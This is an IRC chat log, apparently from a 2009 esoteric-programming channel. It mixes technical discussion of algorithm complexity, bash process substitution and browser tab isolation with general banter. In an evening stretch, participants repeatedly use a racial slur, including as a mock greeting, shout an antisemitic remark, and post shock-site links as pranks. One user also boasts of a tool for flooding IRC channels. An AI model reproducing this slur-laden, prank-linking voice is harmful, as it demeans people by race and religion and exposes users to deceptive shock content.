08:51:52 <lament> i just bought it for the cover!
08:52:17 <oklopol> tbh the only error i remember now - should've written them down or shut up probably - is that they use a height for a width
08:53:04 <augur> omg this is so tasty D:
08:53:04 <oklopol> they make this algorithm for reading barcodes
08:54:00 <oklopol> they use a certain simple scheme the find out what the digits are, when they're not sure, based on the checksum digit
08:54:04 <augur> i made a tarte flambee for dinner
08:54:16 <oklopol> but i'm at least 30% sure it can only correct the first digit.
08:54:20 <augur> with a slightly modified recipe (two or three tbsp butter)
08:54:27 <augur> which made it sooooo much tastier
08:54:39 <oklopol> test run only tested a case with exactly the first digit wrong, which at least somewhat supported my theory.
08:57:36 <oklopol> i wish i had the book so i could find the errors that are worth sharing
09:00:31 -!- MigoMipo has joined.
09:26:45 -!- tetha has quit (Nick collision from services.).
09:26:54 -!- tetha has joined.
09:32:35 -!- oerjan has joined.
09:33:03 <immibis> lol theres actually a channel #spam
09:33:35 <oerjan> SPAM SPAM WONDERFUL SPAM
09:33:50 <oklopol> dpaofigjipodjgiojdfsiogjdiofjg
09:34:02 <oerjan> oklopol!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
09:35:22 <AnMaster> oklopol, you said something about internet issues yesterday? What was that about?
09:38:13 <oklopol> well my regular internet stream got dammed by the Company, because i didn't pay the bills (i accidentally them behind a radiator!)
09:38:41 <oklopol> and some internet flowed around my apartment for a while
09:39:03 <oklopol> but then came summer drought.
09:45:43 <oklopol> have you ever painted a fish
09:46:15 <oerjan> not that i can recall. i think they're quite awkward to paint on
09:47:43 <oklopol> i realized today that i'm not sure whether i've ever tried drugs.
09:48:13 <oklopol> i mean not because of blackouts, i just don't remember. my life is just so damn long.
09:48:23 <oerjan> live drugs sound disturbing
09:48:48 <AnMaster> oerjan, as opposed to pre-recorded drugs?
09:49:02 <oerjan> now, as opposed to unliving ones
09:49:46 <oerjan> you are thinking of undead. admittedly that also sounds disturbing, although perhaps less so
09:51:32 <AnMaster> odd that wikipedia doesn't have a page about bogosearch, since it implements it
09:52:05 <oklopol> random shuffles the whole wp?
09:52:14 <AnMaster> oklopol, that would be bogo_sort_
09:52:55 <fizzie> "Live drugs" sounds like some sort of all-natural all-organic fresh-from-the-field drug thing.
09:52:56 <oklopol> yeah, i just don't really see what people write, they just loosely guide me to semi-sensible answers.
09:53:48 <oerjan> bogosearch may not have a bad enough O()
09:54:04 <oerjan> it's probably O(n) on average
09:54:26 <AnMaster> fizzie, couldn't some drugs be extracted from animals? In theory. If you can extract poison for darts from some sort of toad, why couldn't you find some other toad where you could extract a drug instead?
09:54:38 <oklopol> bogosearch = random elements until you find what you're looking for?
09:54:58 <AnMaster> if so, a live drug would be not bother extracting it, but just eating it raw and alive
09:55:06 -!- puzzlet has joined.
09:55:45 <AnMaster> oerjan, I always wondered how one figure out the O() for an algorithm. Especially when it isn't O(n) or O(1) (those are quite simple to figure out) but something like O(log log n)
09:56:24 <AnMaster> also, sure about Special:Random until you found what you wanted would be O(n)?
09:56:37 <Patashu> assuming only one page satisfies your criteria
09:56:59 <oerjan> of course if it's not there you have a problem
09:57:06 <oerjan> worst case is infinite of course
09:57:25 <Patashu> big O notation doesn't work very well for probabilistic algorithms X3
09:57:51 <oklopol> you take the worst case average probability over all inputs
09:57:58 <Patashu> a random walk has O(infinity)
09:58:16 <oklopol> yeah you can't use the same definition ofc
09:58:29 <oklopol> but what you usually use is what i said there, plus correction
09:58:55 <oerjan> each lookup has 1/n chance of finding the item
09:59:23 <AnMaster> (assuming uniform randomness of course)
09:59:54 <oklopol> AnMaster: for an algorithm, it's just simple math
10:00:11 <AnMaster> oerjan, can you construct a bogosearch with _worse_ average time...
10:00:13 <oerjan> the probability of using m lookups is (1-1/n)^m * 1/n
10:00:55 <oerjan> sum m/n * (1-1/n)^m to get the expected value
10:01:35 <Patashu> bogosearch, but it returns a certain page n times in a row on average before returning a new random page
10:01:39 <AnMaster> oerjan, is the "sum" there same as $$\sum$$ ?
10:02:14 <fizzie> I guess you mean "$\sum$"; or does something use a double-dollar thing with TeX-like maths?
10:02:24 <oerjan> to make it worse you would essentially have to throw away found information?
10:02:45 <oerjan> i think $$ may be equivalent to \[ ?
10:02:45 <AnMaster> fizzie, err, probably mixed it up
10:03:08 <fizzie> I don't think it is, but you could be right.
10:03:18 <oklopol> you think what you want to think
10:03:36 -!- oerjan has quit ("Reboot").
10:03:50 <AnMaster> fizzie, I have seen maxima's "to tex" thingy generate double $$, when pasted into lyx it turns into \[ iirc
10:03:52 <oklopol> well look at that, there he goes again
10:04:02 <fizzie> Oh yes, $$ is the "inherited from plain TeX" thing.
10:05:19 <fizzie> "Using the plain TeX notation $$ ... $$ for displayed equations is not recommended. Although it is not expressly forbidden in LaTeX, it is not documented anywhere in the LaTeX book as being part of the LaTeX command set, and it interferes with the proper operation of various features such as the fleqn option."
10:06:21 <AnMaster> (the time delay there was looking up wth "fleqn" was)
10:06:50 -!- oerjan has joined.
10:07:26 -!- puzzlet_ has quit (Read error: 110 (Connection timed out)).
10:13:17 <immibis> try "echo > >(less)" over ssh
10:14:02 <immibis> i notice if i "yes > >(less)" and ctrl-c it terminates my ssh session
10:14:58 * AnMaster tries to figure out what on earth it does
10:15:17 <fizzie> ">(less)" is the process substitution thing.
10:15:18 <AnMaster> <(less) I know, but what is >()? Same but for input?
10:16:11 <AnMaster> so that turns into echo > /dev/fd/something & less /dev/fd/something in other words...
10:16:30 <fizzie> At least the ">(less)" part turns into a "/dev/fdX" type of string which is the write end of a pipe, the read end of which is used as input to less.
10:16:54 <fizzie> I don't think it actually runs "less /dev/fd/somethingelse", just "less" with stdin coming from that pipe.
10:16:56 <AnMaster> oh and this is probably complicated by the fact that echo is a builtin
10:17:16 <immibis> it turns into "echo > file-descriptor-pointing-to-stdin-of-less"
10:17:40 <AnMaster> fizzie, doing comm <(foo) <(bar) turns it into "comm /dev/fd/something /dev/fd/somethingelse"
10:17:41 <fizzie> It's file-descriptor-pointing-to-a-write-end-of-a-fifo-which-has-the-read-end-as-the-stdin-of-less.
10:17:44 <AnMaster> but maybe not for the command inside
10:18:05 <immibis> fifo as in what you get with the mkfifo command? or something else?
10:18:21 <fizzie> Well, what you get from pipe(2).
10:18:35 <AnMaster> which is different from mkfifo
10:18:50 <fizzie> Yes, it doesn't have a name.
10:18:51 <AnMaster> mkfifo creates a fifo file on disk
10:19:01 <AnMaster> fizzie, sure it does. "a pipe"
10:19:10 <AnMaster> oh you mean the actual instance? right
10:19:13 <fizzie> I mean a filesystem-name.
10:19:28 <Patashu> bubblesort considered harmful
10:21:04 <AnMaster> from this follows that the reason for *nix like OS being used for many servers is that they have good pipe supports, which is handy when working with the tubes of the internet.
10:22:12 <AnMaster> immibis, I think you aren't using a fixed font for irc?
10:22:30 <AnMaster> there are more supports than pipe there
10:23:14 <fizzie> Maybe the pipe part is still under construction.
10:23:42 <fizzie> I actually ran into an animated "under construction" .gif rather recently. It was very nostalgic.
10:24:11 <immibis> ===============O===========\
10:24:21 <immibis> that should look fine in fixed width
10:24:29 <fizzie> For some values of fine, yes.
10:24:34 <immibis> theres also a person pretending to be a pipe support
10:24:42 <fizzie> The pipe goes through his head. That looks uncomfortable.
10:25:16 <AnMaster> fizzie, isn't he standing just in front of the pipe rather?
10:25:18 <fizzie> http://www.vennamo.com/pict/CONBTN2P.GIF
10:25:31 <fizzie> I think it's in-one-ear, out-of-the-other.
10:25:55 * AnMaster wonders why selecting to open that link in the browser instead opened it in gimp
10:26:29 <fizzie> Strange; it has the sensible image/gif mimetype and all.
10:26:50 <AnMaster> fizzie, yeah, if mime-type is wrong it tends to try to open them in khexedit instead..
10:32:10 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
10:51:50 -!- oerjan has quit ("Later").
11:46:53 -!- immibis has quit (Read error: 104 (Connection reset by peer)).
11:51:36 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!").
12:08:40 -!- MigoMipo has joined.
12:17:22 -!- MigoMipo has quit ("http://www.mibbit.com ajax IRC Client").
12:38:13 -!- BeholdMyGlory has joined.
13:37:01 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 .").
13:45:44 <Deewiant> http://www.microsoft.com/windows/internet-explorer/get-the-facts/browser-comparison.aspx
14:01:10 <fizzie> What the what? "Developer tools: Of course Internet Explorer 8 wins this one."
14:01:53 <fizzie> I like the checkmark approach. You should use IE because none of the alternatives have either security or privacy at all.
14:38:26 -!- upyr[emacs] has joined.
14:51:53 <oklopol> think i've tried / will ever try chrome?
14:53:30 <fizzie> Tab isolation means running each tab in a separate process or some-such, so that if one tab crashes, the whole browser won't come crashing down.
14:53:43 <fizzie> Personally I think they could just make the browser, you know, not crash.
14:54:04 <oklopol> right, guessed it'd some kinda non-feature
14:54:24 <oklopol> well, i guessed it was that non-feature
14:54:35 <fizzie> Apparently tab isolation means increased memory usage, too, since there's some stuff that could be shared but is not. At least according to some people. And you know you can trust [some people].
14:55:14 <AnMaster> fizzie, err... what sort of stuff
14:57:03 <fizzie> Look, it was just a quote from the interwebs. I don't care about the topic so much than I'd bothered to have read more.
14:57:37 <AnMaster> you know that most (if not all) modern OS share the read-only parts of executable files (shared libraries and executables) between different instances? So you end up with just one copy of libc in memory for example
14:57:51 <AnMaster> there are some exceptions to this
14:58:26 <AnMaster> for example, if you didn't compile the code as position independent and it ended up needing to be reallocated, it would be copied.
14:59:06 <AnMaster> but iirc windows doesn't use PIC in DLLs, so I guess it could be affected quite badly by that if any dll ends up being reallocated.
14:59:16 <fizzie> Yes, well, I gather there's quite a lot of not-read-only state in gecko or whatever the rendererer is called; I have no clue whether some of that can be optimilized in the "multiple tabs, single process" case more than the "multiple processes with separate memory spaces" one, but it doesn't sound completely unbelievable.
14:59:43 <AnMaster> fizzie, you could use mmap() to share it
14:59:50 <AnMaster> well, a bit more than just mmap()
15:00:02 <AnMaster> but basically mmap() + a few other system calls
15:00:09 <fizzie> You could do shared-memory trickery, but I'm also not sure they do.
15:01:37 <AnMaster> fizzie, consider settings like "home page, size of disk cache" and what not. Of course they can't be in .rodata. What you do is simply to have one process with it mapped read-write (the controller process), and the tab processes have it mapped read-only
15:01:57 <AnMaster> if the user wasn't to change it after intitial load of browser it wouldn't even require that
15:02:04 <AnMaster> it would just work, since fork() does COW
15:02:13 <fizzie> Yes, again, it's another point of complexity.
15:02:17 <AnMaster> of course, most of this doesn't apply to windows. which iirc doesn't do COW...
15:03:11 <AnMaster> but I argue you can solve it with close to zero increased memory usage. Of course memory will increase slightly. If by nothing else, at least due to kernel having to manage more processes, requiring more task structures and so on.
15:03:16 <fizzie> Anyway, I don't really have an onion on tab isolation; I just am a bit unsure why it's being hyped like it's the best thing since sliced bread that crashing tabs don't crash the browser, I'd rather the tabs not crash.
15:03:56 <AnMaster> fizzie, browsers will always has bugs. Just realise it. As soon as you add javascript that is.
15:04:21 <AnMaster> that is, all features of javascript
15:04:35 <oklopol> i hear this IE8 never crashes
15:05:35 <AnMaster> sure you can make a small browser if it is just to render basic html and possibly handle simple javascripts. But that would result in something like "w3m extended"
15:05:36 <fizzie> Yes, I guess bugs exist, but I still think it's a bit disturbing if it's so common-place that you'll have to jump through hoops to minimize damage. Not that I'm against modularity.
15:06:34 <AnMaster> fizzie, if so, why do OSes use rings and protected memory
15:07:04 <fizzie> It's a bit different thing to be executing someone else's native code.
15:07:18 <AnMaster> fizzie, isn't that was plugins is all about?
15:07:37 <fizzie> I would hope plugins are well isolated, yes.
15:07:39 <oklopol> this has been a treat, see you in a few months!
15:07:43 <AnMaster> except, and this is hilarious, plugins aren't restricted by the tab thingy
15:07:45 <oklopol> BYEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
15:07:54 <fizzie> I don't think that has anything to do about whether to run each tab in a separate process.
15:07:59 <fizzie> oklopol: OH NOES BYE BYE
15:08:05 -!- oklopol has quit ("PJIRC @ http://webirk.dy.fi").
15:08:40 <fizzie> (Why on earth am I even in this discussion? It's not like I care about tab-schmizzolation at all.)
15:08:45 <AnMaster> fizzie, yes, but they can't be sandboxed. IIRC the tab separation thing is also about adding sandboxing to prevent non-intented system calls and such :)
15:09:01 * AnMaster goes back reading about SSA form
15:09:15 * fizzie goes back to preparing slides.
15:47:34 -!- coppro has quit (Read error: 110 (Connection timed out)).
16:05:46 -!- Corun has quit ("Leaving...").
16:11:29 -!- Hiato has joined.
16:13:57 -!- GregorR-L has joined.
16:16:58 -!- AnMaster has quit ("ZNC - http://znc.sourceforge.net").
16:20:16 <pikhq> Windows doesn't do PIC or COW or... Wow. How very backwards.
16:21:49 <pikhq> Actually, it does have PIC and it does COW on forks.
16:22:07 <pikhq> (as would any sane OS. Seriously, COW at page level is trivial.)
16:27:57 -!- inurinternet has joined.
16:30:41 <GregorR-L> CESSMASTER, master of cesspools, has a very odd nick ... DRAMATICALLY! Can one "have" dramatically?
16:40:43 -!- Hiato has quit (Remote closed the connection).
16:50:46 -!- coppro has joined.
16:54:36 -!- ais523 has joined.
17:35:38 <GregorR-L> I just reverted multiple weeks worth of changes to the autocomposer :P
17:46:24 -!- ais523 has quit ("http://www.mibbit.com ajax IRC Client").
17:47:23 <GregorR-L> Cess is just what you find in a cesspool, right? :P
17:50:23 <lament> cess is a game played on a 7x8 board
17:53:39 <GregorR-L> So, is a game played on a 3x8 board?
18:02:04 <pikhq> The layout is as follows:
18:05:06 -!- BeholdMyGlory has quit (Remote closed the connection).
18:16:46 -!- ais523 has joined.
18:27:42 -!- ais523_ has joined.
18:36:29 -!- BeholdMyGlory has joined.
18:48:52 -!- Sgeo has joined.
19:01:38 -!- GuestShadowSkunk has joined.
19:03:00 -!- Slereah has quit (Read error: 60 (Operation timed out)).
19:15:33 -!- coppro has quit (Read error: 60 (Operation timed out)).
19:31:44 -!- Slereah has joined.
19:44:55 -!- GuestShadowSkunk has quit (Read error: 110 (Connection timed out)).
20:20:13 <ehird> 10:50:15 <AnMaster> GregorR-L, I never met people so stupid here in Sweden FYI
20:20:20 <ehird> stupid != unknowledgeable about computers.
20:20:45 <ehird> 10:47:45 <GregorR-L> ehird: The weirdest thing is that everyone AGREES to the wrong definition ...
20:21:03 <GregorR-L> But that's beyond ignorance. Ignorance is fine.
20:21:04 <ehird> well, there's one person who gets it right
20:21:23 <ehird> GregorR-L: they legitimately think that and haven't been exposed to any contrary definition
20:21:31 <ehird> what part of that involves them being stupid?
20:21:51 <GregorR-L> I didn't say it was stupid, just that it's not /just/ unknowledgeable/ignorant.
20:22:17 <ehird> GregorR-L: what is it, then?
20:22:37 <GregorR-L> Depends on how they came to know that definition.
20:23:21 <GregorR-L> The sheer consistency suggests a minority population stupid and majority population misinformed.
20:25:03 <ehird> GregorR-L: but that just reflects people in general
20:25:31 <ehird> (ok, you could make an argument most people are stupid, but misanthropes aren't very good statisticians :P)
20:26:03 <GregorR-L> ehird: What are you, antimisanthropic? Misanthropes are people too. Stupid fucking idiots, like all people, but still people.
20:26:29 <ehird> So, mismisanthropic?
20:26:44 <GregorR-L> And the winner of this year's Miss Misanthropic prize is,
20:27:26 -!- whtspc has joined.
20:27:31 <ehird> GregorR-L: I'm antimisantidisestablishmentarianism. So I'm against people who think that everyone who opposes the removal of the Church of England's status as the state church of Ireland and Wales are stupid.
20:28:21 <lament> ehird: you're an -ism?
20:28:32 <ehird> jism. People who don't like the J programming language.
20:29:23 <GregorR-L> (The correct response, by the way, is "not on my turf!")
20:30:08 <lament> because it's just poor man's APL?
20:30:17 <ehird> CESSMASTER: Because they're nazis.
20:30:28 <ehird> lament: Oh, yeah? Well, so's YOUR MOM.
20:30:32 <GregorR-L> lament is a multi-millionnaire playboy.
20:30:58 * pikhq is opposed to the mere idea of a state church
20:31:10 * ehird opposed to the mere idea of a church :P
20:31:58 * pikhq beats ehird with nontheist religions
20:32:14 <ehird> pikhq: What have nontheist religions got to do with churches?
20:32:35 <pikhq> Some of them possess something that could be called a "church".
20:32:41 * GregorR-L beats pikhq with phrases that needlessly dilute the meaning of perfectly meaningful words.
20:32:55 <ehird> pikhq: That would require me to support nontheist religions, too.
20:32:59 <pikhq> GregorR-L: Unfortunately, "church" has too many meanings.
20:33:09 <lament> David slowed his pace as his ears, antimisantidisestablishmentarianism.
20:33:14 <ehird> But all religions are superstitious, so I don't see why your argument should hold water with me.
20:33:22 <ehird> GregorR-L: Buddhism is a nontheist religion.
20:33:31 <ehird> Religion is just a superstitious belief system.
20:33:47 <lament> the belief in the law of excluded middle is superstitious.
20:34:02 <ehird> lament: I'd so spend the time rebutting that but I do it way too fucking much :)
20:34:14 <Slereah> lament : It is not superstition, it is axiom
20:34:23 <lament> Slereah: so is the existence of God.
20:34:25 <ehird> tl;dr religions have several factors differing themselves in major ways to mathematics
20:34:26 <Slereah> Math people don't have to think it true
20:34:45 <Slereah> There's plenty of logic without excluded middle
20:35:42 <GregorR-L> Am I the only person offended by Slereah's needless use of a racially-loaded word? Why has nothing been done about this, e.g. a kickban.
20:36:13 <lament> Slereah: Last warning. This is a nigger-free channel.
20:36:23 <GregorR-L> ...............................................
20:36:35 <ehird> GregorR-L: Because (a) nobody gives a shit, (b) he's from the *chans, so he gets a free pass, (c) we pretty much have an anarchy (yeah okay lament's gonna do something just to dissuade that notion :)), (d) you have /ignore and finally (e) you're probably trolling me.
20:37:06 <ehird> Slereah was born in /b/.
20:37:18 <Slereah> (ehird doesn't care because he is a /prog/lodyte)
20:37:30 <ehird> Slereah: We are much more esteemed than your ilk.
20:37:41 <ehird> Incidentally, GregorR-L, nigger.
20:37:55 <pikhq> Ah, but I am of Slashdot.
20:37:58 -!- ais523 has quit ("http://www.mibbit.com ajax IRC Client").
20:37:59 <pikhq> Incidentally, ehird, goatse.cx
20:38:12 <Slereah> ehird : /prog/ is full of tablecats and shit
20:38:13 <ehird> (ais523 left because we're talking about niggers. I will bet $10 on this.)
20:38:28 <Slereah> It's one step removed from /vip/
20:38:34 <Slereah> All you need is some more JEWS
20:38:36 -!- ais523_ has changed nick to ais523.
20:38:41 <ehird> Slereah: the /vip/ people are invading /prog/
20:39:08 -!- GregorR-L has quit ("Leaving").
20:39:09 <ehird> pikhq: coolfreeringtones.on.nimp.org
20:39:35 <ehird> ais523: Oh come on, nobody would click that.
20:39:45 <Slereah> But it is COOL FREE RINGTONES!
20:39:57 <ehird> ais523: Anyway, why didn't you warn me about his goatse.cx link?
20:40:00 <ehird> I'm very offended.
20:40:34 <Slereah> Actually, DQN made a real COOL FREE RINGTONES
20:40:39 <pikhq> ais523: Goatse.cx no longer exists, anyways.
20:40:48 <Slereah> If I could use a custom ringtone on my cellphone, it would be that
20:40:50 <ehird> It exists, it just doesn't have goatse on it.
20:41:00 <ais523> I've seen about the top 50 pixels of goatse
20:41:03 <ehird> Just not a NSFW goatse.
20:41:14 <ais523> it was loading very slowly, and I guessed it was goatse before it had fully loaded
20:41:20 <ais523> so I looked away and pressed back on the keyboard
20:41:21 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.11/2009060215]").
20:41:23 <ais523> before I saw the rest of it
20:41:48 <Slereah> http://dqn.dqn.lol.googlepages.com/COOL_FREE_RINGTONE.mp3
20:41:50 <ehird> the first time I saw goatse was when the computer i used was in clear view of anyone in the living room with just a flick of their head
20:41:52 <ehird> and it loaded quickly
20:41:58 <ehird> that was an agonizing leap for the close tab button :D
20:42:08 <ehird> (after the obligatory 3 seconds of shock)
20:45:58 <ehird> 10:52:23 <AnMaster> lament, spiders
20:45:58 <ehird> 10:52:26 <AnMaster> is the technical term
20:46:08 <ehird> I hereby accuse AnMaster of taking lament seriously.
20:46:38 <ehird> 10:54:36 <AnMaster> he should fix align. To not assume mirc style. I think mirc is rather uncommon in this channel
20:46:45 <ehird> the only common client doing other things is xchat
20:46:54 <ehird> irssi, limechat, clog... all do it the mirc way
20:47:02 <ehird> hmm maybe not chatzilla
20:47:07 <ehird> only a few use chatzilla
20:47:46 <ehird> i think ERC might do it by default too
20:48:49 <ehird> 11:01:39 <AnMaster> I find irssi a very poor irc client
20:48:49 <ehird> 11:01:45 <AnMaster> unless you stay on freenode only
20:48:52 <ehird> wtf is poor about irssi
20:49:16 <ehird> 11:02:55 <GregorR-L> pikhq: VMWare on OS X, which is garbage-o and 32-bit even on a 64-bit proc.
20:49:18 <ehird> just install linux
20:49:29 <ehird> 11:02:30 <AnMaster> it seriously messes up on irc servers with more prefixes than +%@
20:49:29 <ehird> 11:02:41 <AnMaster> like those having ~& too
20:49:30 <ehird> no... no it doesn't
20:51:02 -!- GregorR-L has joined.
20:51:13 <ehird> GregorR-L: Hello, not-nigger.
20:51:24 <GregorR-L> Your stupidity can't fool me, I have logs :P
20:52:31 <ehird> who wants their mind frazzled
20:52:40 <ehird> "semiconductor intellectual property core"
20:52:43 <ehird> http://en.wikipedia.org/wiki/Semiconductor_intellectual_property_core
20:55:04 * GregorR-L looks up from drinking a glass of melted butter, to his chagrin.
20:55:22 <ehird> HI I'M ON METAFILTER AND I COULD OVERTHINK A PLATE OF BEANS.
20:56:20 -!- CESSMASTER has left (?).
20:59:27 <ehird> 11:39:24 <GregorR-L> It wouldn't have been that complicated to figure out that it was PROBABLY on the Wikipedia page "Gold" X_X
20:59:28 <ehird> 11:39:24 <GregorR-L> Yeesh
20:59:30 <ehird> http://www.google.com/search?client=safari&rls=en-us&q=%22Gold+reacts+differently,+depending+on+subtle+relativistic+effects+that+affect+the+orbitals+around+gold+atoms.%22&ie=UTF-8&oe=UTF-8
20:59:34 <ehird> it's only the first result and all
20:59:55 <ehird> 11:41:12 <Deewiant> quicksearch?
20:59:55 <ehird> 11:41:33 <AnMaster> Deewiant, an alias for asking ehird on irc :D
21:00:06 <ehird> no, that's (\_ -> undefined)
21:00:33 -!- c_ has quit (Remote closed the connection).
21:02:12 <ehird> 11:47:07 <AnMaster> GregorR, is this a reference to Discworld?
21:02:21 <ehird> Everything is a discworld reference if all you know is discworld.
21:02:58 <ehird> 11:49:34 <pikhq> Since, well... New DVDs are $10. RedBox rentals are $1/night.
21:02:58 <ehird> 11:49:37 <pikhq> What's the point?
21:03:04 <ehird> and piracy is $0/forever!
21:03:49 <ehird> GregorR-L: what kind of piracy costs money?
21:03:51 <GregorR-L> It's a stochastic $0 or $rand(1, 100)K
21:03:57 <ehird> well apart from the reselling kind
21:03:57 <GregorR-L> ehird: The kind you get caught and sued for.
21:04:08 <ehird> GregorR-L: the riaa hasn't actually won against anyone.
21:04:17 <ehird> mostly out-of-court settlements
21:04:31 <GregorR-L> How many in-court cases have they had?
21:04:43 <ehird> GregorR-L: anyway, what if you jaywalk right after getting a redbox dvd
21:04:49 <GregorR-L> ORLY? I thought almost everybody settled out of court *shrugs*
21:04:57 <ehird> that's what I meant
21:05:02 <ehird> they've never won anything
21:05:10 <ehird> just extorted money from people out of court
21:05:26 <GregorR-L> Right, but if they've had "tons" of in-court cases they lost, that's significant.
21:05:39 <ehird> 11:52:12 <AnMaster> or tv
21:05:39 <ehird> 11:52:44 <AnMaster> I have no TV either, I do have an old VHS unit
21:05:43 <ehird> http://www.theonion.com/content/node/28694
21:05:50 <GregorR-L> I thought they were doing more of a we-don't-want-to-really-go-to-court-because-if-we-lose-then-we-lose-all-clout thing.
21:06:17 <ehird> it's possible they've settled every single case out of court.
21:06:24 <ehird> i'm fairly sure they haven't won.
21:06:39 <GregorR-L> So am I, but I thought it was because they'd never gone to court.
21:06:45 <ehird> "The RIAA's goals[1] are:
21:06:45 <ehird> to protect [...] the First Amendment [...]"
21:06:54 <ehird> GregorR-L: Uh, I'm fairly sure they have gone to court.
21:07:14 <pikhq> And not one case that has gone to court is done yet.
21:08:03 <pikhq> Exactly one has even had the initial court case go through all the way -- and that case in question was pronounced a mistrial, IIRC.
21:09:14 <pikhq> They've had a fuckton of settlements.
21:10:58 <ehird> pikhq: metric fuckton?
21:13:07 <ehird> pikhq: erm, metric = SI usually
21:13:13 <ehird> for meter kilo etc
21:13:21 <ehird> Metric system, a system of units developed in France in the 18th century
21:13:22 <ehird> International System of Units, or Système International (SI), the international system of units since 1960, a subset of the former
21:14:11 <pikhq> Some units are metric but not SI.
21:14:34 <ehird> "metric foo?" "SI"
21:14:41 <ehird> same thing if foo is in SI
21:14:43 <pikhq> And some SI units are not metric.
21:14:46 <ehird> so "metric fuckton" → "SI fuckton" is sily.
21:14:52 <ehird> pikhq: wikipedia disagrees.
21:17:20 -!- GregorR-L_ has joined.
21:17:47 <ehird> 13:09:04 <augur> then shut the fuck up with your stupid bullshit 13:09:20 <augur> you do this all the fucking time 13:09:46 <augur> you dont pay attention to the channel, and then you get into these fucking arguments because you dont know what the fuck people said 13:09:52 <augur> but you act like you DO know
21:17:52 <ehird> people angry at anmaster make me glee with glee.
21:17:55 <ehird> yes, glee is a verb
21:18:37 <ehird> 13:19:56 <AnMaster> oerjan, I don't have time to try to figure out what this joke is. So I won't.
21:18:49 <ehird> AnMaster: in such a hurry that he has no time for IRCing; which is why he wasn't talking in here. Wait.
21:19:46 <pikhq> ehird, logreader extraordinare.
21:19:55 <ehird> pikhq: It's kind of an addiction.
21:19:56 <GregorR-L_> ehird: Yes, as a verb is one way you can sheeple glee.
21:20:06 <ehird> GregorR-L_: Stop weirding language.
21:20:19 <ehird> 16:30:13 --- join: oklopol (i=oklopol@a91-156-18-48.elisa-laajakaista.fi) joined #esoteric
21:20:19 <ehird> 16:30:23 <oklopol> what's new
21:20:21 <ehird> 16:39:29 --- nick: comex -> c_
21:20:23 <ehird> 16:39:58 <oklopol> well, see you in a few months :)
21:20:25 <ehird> 16:40:12 <oklopol> or, well, when internet starts flowing in my apartment again
21:20:27 <ehird> 16:40:14 <oklopol> ->
21:20:29 <ehird> 16:40:19 --- quit: oklopol ("PJIRC @ http://webirk.dy.fi")
21:20:31 <ehird> ONLY A FLEETING GLIMPSE
21:20:33 <ehird> BUT MY HEART HAS GROWN FONDER
21:20:50 <ehird> 19:18:36 <bsmntbombdood> wow
21:20:50 <ehird> 19:18:44 <bsmntbombdood> why would Xorg be using 1.2 gb ram?
21:20:51 <ehird> because it sees you aren't using your 12gb
21:20:54 <ehird> so it decided to take 10%
21:21:05 <ehird> 19:26:48 <pikhq> Wow. Zicam can cause anosmia. 'Fun'.
21:21:20 <ehird> HURF DURF HOMEOPATHY
21:21:22 <pikhq> I am currently doing something very, very silly.
21:21:43 <pikhq> This brought to you by IRC in Screen via SSH from a virtual machine to localhost.
21:21:50 <pikhq> The virtual machine in question is running Cygwin.
21:21:58 <ehird> GregorR-L_: Zicam is a retarded homeopathic thing.
21:22:13 <ehird> It has bad side effects!!!12121
21:23:44 <ehird> GregorR-L_: It's homeopathy.
21:23:58 <GregorR-L_> Is it purported to do anything useful? :P
21:25:28 <ehird> pikhq: So, uh, why are you surprised homeopathic "remedies" aren't fluffy bunnies and magical cures? :P
21:25:47 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
21:25:52 -!- GregorR-L_ has changed nick to GregorR-L.
21:26:06 <ehird> "In September 2003, Zicam (which claims on its label to be "homeopathic") faced lawsuits from users who claimed that the product negatively affected their sense of smell, and sometimes taste. In January 2006, 340 lawsuits were settled for $12 million.[9] In early 2004, at the height of the controversy"
21:26:19 -!- coppro has joined.
21:26:20 <ehird> (OK, so on the 16th the FDA told people not to use it. But c'mon.)
21:26:44 <GregorR-L> Don't you know that "natural" = "safe"?!
21:26:55 <GregorR-L> Go out into the forest and eat anything you can find, and you'll be healthier!
21:27:08 <GregorR-L> Especially leaves with weird prickly bits or bright colors.
21:27:10 <ehird> GregorR-L: Well, if they literally just did the dilution a ton of times (so it's more effective, you see) into water, it'd be perfectly safe!
21:27:33 <ehird> Unless the provably more than the agent amounts of Francis Bacon's pee in it are feeling particularly toxic today.
21:27:41 <ehird> Wow that was an awkward sentence
21:27:44 <ehird> Can you tell I wrote it non-linearly?
21:27:49 <GregorR-L> UNRELATED: Y'know what would be hill-larry-us? If gaylick.com was a homoerotically-themed Gaelic language learning site.
21:28:26 <ehird> 20:38:10 --- join: oklopol (i=oklopol@a91-156-18-48.elisa-laajakaista.fi) joined #esoteric
21:28:26 <ehird> 20:38:15 <oklopol> morning
21:28:27 <ehird> 20:39:45 <oklopol> i'm not a programmer
21:29:07 <ehird> GregorR-L: SAYS MR HOMOEROTIC GAELIC
21:29:16 <pikhq> Quick! Type faster than ehird can read!
21:29:20 <pikhq> HE SHALL NEVER CATCH UP!
21:29:58 <pikhq> GregorR-L: Egobot could if you let him.
21:30:12 <ehird> THIRD REICH IS LIKE A BIKE
21:30:24 <ehird> pikhq: i once wrote a thingy that let you spawn a ton of clients and synchronize them talking
21:30:31 <ehird> and used it to do some one-message-per-user floodin
21:30:33 <pikhq> fungot: third reich
21:30:34 <fungot> pikhq: the pgimeno is a guy in fnord flares and a superman cape flying through a computer science wookie. i expected something better.
21:30:41 <ehird> you could spit out 300 lines in like 30 seconds
21:31:19 <ehird> 20:56:50 <augur> oklopol, whats your opinion of a programming language where you have to take certain core pieces of code, all of which are full programs, and compose them together to get other programs
21:31:26 <ehird> that's called point-free functional programming
21:32:33 <ehird> [[To many people, including Ron Owens, the word "some" refers to a relatively small amount in between "none" and "most". But To Ron's employer, and especially in the context of "job responsibly include... some maintenance of legacy VB6 applications"]]
21:32:42 <ehird> "most maintenance of legacy VB6 applications"
